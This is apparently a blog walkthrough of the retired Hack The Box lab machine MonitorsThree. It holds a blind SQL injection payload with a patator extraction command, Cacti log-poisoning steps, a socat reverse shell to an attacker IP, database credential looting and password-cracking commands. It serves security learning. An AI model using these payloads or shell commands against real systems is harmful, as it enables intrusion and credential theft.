MonitorsThree
MonitorsThree is a now retired, medium rated Hack The Box machine. This box is running a Linux OS and has various challenges within including SQL Injection, web application exploitation, log poisoning, and authentication bypass vulnerabilities. Honestly, I had a lot of fun with this box as it had a number of unique challenges. Lets dive in.
Discovery
Our initial NMAP scan finds us a webserver and an SSH server, and interestingly a server running on port 8084.
The SSH server does not allow password authentication, and this port 8084 server does not seem to respond. Lets check out what we can find on the webserver.
nmap -sC -sV -p- 10.10.11.30
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-18 16:16 EST
Nmap scan report for 10.10.11.30
Host is up (0.064s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 86:f8:7d:6f:42:91:bb:89:72:91:af:72:f3:01:ff:5b (ECDSA)
|_ 256 50:f9:ed:8e:73:64:9e:aa:f6:08:95:14:f0:a6:0d:57 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://monitorsthree.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
8084/tcp filtered websnp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.00 seconds
Web Server
Placing monitorsthree.htb into our /etc/hosts file allows us to access the site on the webserver and we are presented with a business site for an IT solutions business.
Poking around the site we can find a login page, that also has a reset passwords function. This is where we will begin to work on attempting our initial foothold.
Give me password (SUBSTRING('please'))
Using some basic SQL injection patterns to test for SQL injection vulnerability I found that forgot_password.php form is vulnerable to SQL injection. For those interested, I will put some resources to test for SQL injection at the end. This type of SQL injection vulnerability is a blind injection, meaning that we don't get direct data returned in the response. However, because the application responds in different ways to the SQL responses we can infer which responses are for valid data.
The reason blind injection acts this way is because we are essentially using two SQL commands. The first part of the SQL injection bypasses the normal operation of the form and SQL query. The second part of our injection is our own SQL query that also runs on the server. However, because our query is secondary its response is not returned back to the browser by the PHP script. So, here we have to use inference to determine what the responses are from our query.
We need to determine what we want the SQL queries to respond to us. Something useful would be a password of an admin user. So, how would we get that admin password with Blind SQL-Injection? This is the format of the injection string I was using:
' OR IF((SELECT SUBSTRING((SELECT password FROM users WHERE username = 'admin'), 1, 1)<'A'),SLEEP(2),1)='0
The very first character ' OR
will create a conditional to the first SQL query, which is likely something like SELECT username from users WHERE email =
. The subquery (the query after the OR) will check to see if the password of the admin user is a particular character. A little bit of testing here with other queries is needed also to determine what the appropriate username is. But once we have the appropriate username 'admin'
and method to test for specific characters in the password string, we then just methodically iterate over each character in the password and record the results of the web application. Luckily this web application responds with a positive result when the correct character is tried, and, a negative result when an incorrect character is tried.
There are several ways one can iterate over the password field here. I first tried Burp Suite but it was taking way too long, so I gave "patator" a go here and had some quick results.
SQL Injection with patator
My running assumption here was that the username was going to be encoded in some sort of hash, like an SHA256 or something. That encoding would require me to iterate over 32 ASCII characters. So I created two files, one with the character position as an iterator, and the second was the set of test characters (in this case A-Z and 0-9). Creating these files is easy to do with the bash shell. Here's an example of how you would create a file chars.txt
with values of A-Z:
for i in {A..Z}; do
echo $i >> chars.txt
done
Anyways, with those two files I could run patator using it's http_fuzz module and iterate the SQL injection. We set it to ignore the error messages: -x ignore:fgrep='Unable to process request'
and then it will only output the successful characters and their position.
patator http_fuzz url=http://monitorsthree.htb/forgot_password.php \
method=POST \
body='username=%27 OR IF%28%28SELECT SUBSTRING%28%28SELECT password FROM users WHERE username = %27admin%27%29, FILE0, 1%29=%27FILE1%27%29,SLEEP%282%29,1%29=%270' \
0=/home/kali/Documents/MonitorsThree/nums.txt \
1=/home/kali/Documents/MonitorsThree/chars2.txt \
accept_cookie=1 \
follow=1 \
-x ignore:fgrep='Unable to process request'
Piecing together the characters with their positions we gain a password hash for the admin user.
spoilers: admin password hash
31a181c8372e3afc59dab863430610e8That hash can be taken over to https://crackstation.net and the password will be found.
Back to enumeration
With the admin password I was able to login to the main website as admin. Poking around, though, I didn't find anything that interesting. Most of it was static HTML renderings from a PHP. There were no places I could find to upload or add or modify information on the site. After a while, I was getting the suspicion that this site was red herring.
So with that, I decided to go back to our discovery activities and look for additional things about this box. I had started an UDP NMAP scan with interesting results, I'll talk about later, but the activity that got me further was searching for vhosts on the web server using gobuster.
gobuster vhost -u http://monitorsthree.htb --append-domain -w /usr/share/wordlists/amass/subdomains.lst -r
Running gobuster in vhost mode shows us that there is a vhost on the website called: cacti.monitorsthree.htb
. So lets check that out:
Cacti Server
The admin password we picked up also works here so we can get right into the site. The first that we notice is the cacti application version is 1.2.26. This version is very fun because it has so many different vulnerabilities and so many ways that we could attack it. I was intrigued by a Github bug report for CVE-2024-43363. CVE-2024-43363 is a log poisoning vulnerability wherein we can get the application server to run arbitrary php code once it is written by the logging service. The steps to do this are:
- Create a new device host using php code as its Description and Hostname. When this is polled later, the polling will write the Hostname to the log.
- Set the logging mode to debug under the admin settings
- Restart the cacti server install process. This can be started at
http://cacti.monitorsthree.htb/cacti/install/install.php?data={"Step":"5","Eula":true}
. Technically we only need to modify step 5 in the process, where we change the Cacti log path to an arbitrary .php file in /var/www/html/cacti/scripts/ folder. Any name for the php file will work here.
- Go back to the admin pages and check the logs section. You should now see your custom .php log file. Make sure to purge the log file here to clear out any logs, this seems to help the poisoning step.
- Now trigger a host polling by clicking on your custom device through the device management page. The php code from the device name will be written to logs and should, at this point, execute.
Oh, and by the way, don't forget to start up your netcat listener before finishing step 5 to grab that reverse shell incoming!
And bang! You've got an initial shell.
Choices, Choices, Choices...
At this point you have so many options for getting an upgraded shell. Netcat... Socat... Python... they're all installed on this box. So pick your poison or eh.. shell...
I decided to try out socat
this time.
Listener on our attacker system:
socat file:`tty`,raw,echo=0 tcp-listen:4444
Victim system:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.15.27:4444
And upon execution on the victim we have fully functional shell
MySQL
Now that we have access to a shell on the box, the next step is to gather as much information as we can to attempt to escalate privilege to a user on the box. Most web applications are designed to have a backend database to store their data. So lets see if we can get access to that database. First lets check the files of the Cacti web application to see how it connects to a database.
Browsing the files we can find a configuration file at /var/www/html/cacti/include/config.php
which includes the database configuration and credentials.
$database_type = 'mysql';
$database_default = 'cacti';
$database_hostname = 'localhost';
$database_username = 'cactiuser';
$database_password = 'cactiuser';
$database_port = '3306';
Using those credentials we can login to the mysql server on localhost and connect to the "cacti" database: mysql -ucactiuser -pcactiuser -Dcacti
. Once logged in we can loot the database for additional credentials. There is a user_auth table. Let's get the contents of that: select * from user_auth;
.
Marcus' luggage password
Lets copy out Marcus' password from the database and see if we can crack the password hash. Have you met my friend, john the ripper? He really likes cracking passwords. Before using john the ripper copy the username and hash into a file, like so: marcus:$2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK
. Save that file locally, call it whatever you like. I called it marcus_sql.pass in this instance. And then run john: john marcus_sql.pass --wordlist /usr/share/wordlists/rockyou.txt --format=bcrypt
.
It might take some time...
37 seconds later...
spoilers: marcus password

Really Marcus?
OK with that you can su - marcus
and easy peasy you get the user flag in Marcus' home directory.
While you are there add yourself an SSH key to marcus' .ssh/authorized_keys
file so you log into the box through SSH. Not only will this give you a more stable shell experience, it will be useful for the next steps.
Duplicati
As Marcus, we can look through the box further to find additional escalation paths. Browsing the filesystem we find some interesting applications installed in the /opt
directory. Duplicati and Docker are installed on this system. Duplicati is a file backup application. It typically has a web configuration GUI that runs on port 8200 by default on most systems. We can check this by running the ss command to check for open ports locally on the systems. ss -tl
will show listening tcp ports on the local system. And indeed we find something listening on 127.0.0.1:8200
.
Now this is why we got ourselves SSH access to the system. With SSH we can port forward locally running services on the server back to our client system and open them locally. ssh -i monitorsthree -L 8200:127.0.0.1:8200 cacti.monitorsthree.htb
This command will forward 127.0.0.1:8200 on the server and map it to 8200 on our client system so we can access the application from our own web browser. And from there we are presented with a login screen:
Now we have access to the Duplicati application on the server but we need to be able to login. Let's take a look back at the application's configuration. Back on the server we can find a set of sqlite configuration files for duplicati and even though they are owned by root, they are world-readable.
If we access those sqlite files we can find a passphrase and salt for duplicati. So the next step is figure out how to use those to access the application.
Auth Bypass
Searching around the web for "Duplicati passphrase bypass" I stumbled upon this thread on a bug at the Duplicati github page: https://github.com/duplicati/duplicati/issues/5197
There the steps are shown how to duplicate (pun intended) the bug in Duplicati using Burp Suite. Accessing the application using Burp Suite we can intercept the value of the nonce.
Following the steps in the bug, we convert our passphrase from base64 to hex. Then using the browser's console we can get the correct string for the password using the current nonce, the salted password, and some javascript. We can copy the nonce password value we get from the CryptoJs command and place it in the password field over in our Burp Suite Intercept session. This might take a few tries to get right, but it will work.
Backup
Once on Duplicati we can get access to the root flag by creating a new backup of the root directory. Make sure to mind that this instance is running in docker, so we need to use the file system mounts in order to access the local filesystem. That said our root directory path is actually at /source/root/
. Details on the mounted options can be found in the docker-compose.yml file for Duplicati.
After creating a backup of the root directory, restore the root_flag.txt file to a user accessible directory such at /tmp/
.
Conclusion
Woo this one was a doozy. But a fun doozy. So many different paths to get to the goal and very interesting exploits. One thing I did not write about on this article were the additional ports listening on the box. These could be red herrings, but also could have been the author providing other paths to exploitation. I feel like this box deserves a second pass through if you have the time, because there are definitely additional ways to get through the challenge. The exploits available against the Cacti server alone could provide an attacker with 3 or possibly more ways to get in. The SQL injection challenge could have been approached in many different ways. I've seen other blogs use different SQL injection methods, scripts, and even sql-map to gain that initial credential.
The Duplicati challenge was indeed an interesting and fun way to gain root. That challenge highlighted many misconfigurations with a docker container. First the docker container was running as root and not some alternate backup user. The drive mappings in the configuration provided full access to the file system. If properly configured this should have only provided access to the files necessary for the backup operations (/var/www/html/cacti), not the entire file system.
All in all, a fun box to pop with some very creative challenges.
Resources
SQL Injection: PortSwigger, the makers of BurpSuite
More SQL Injection: https://book.hacktricks.wiki/en/pentesting-web/sql-injection/index.html
Patator: https://github.com/lanjelot/patator
Reverse Shells by RopNop: https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
Crackstation.net: https://crackstation.net
John the Ripper: https://github.com/openwall/john and https://www.openwall.com/john/
Duplicati: https://github.com/duplicati/
Cacti: https://github.com/Cacti/cacti
NMAP: https://nmap.org
GoBuster: https://github.com/OJ/gobuster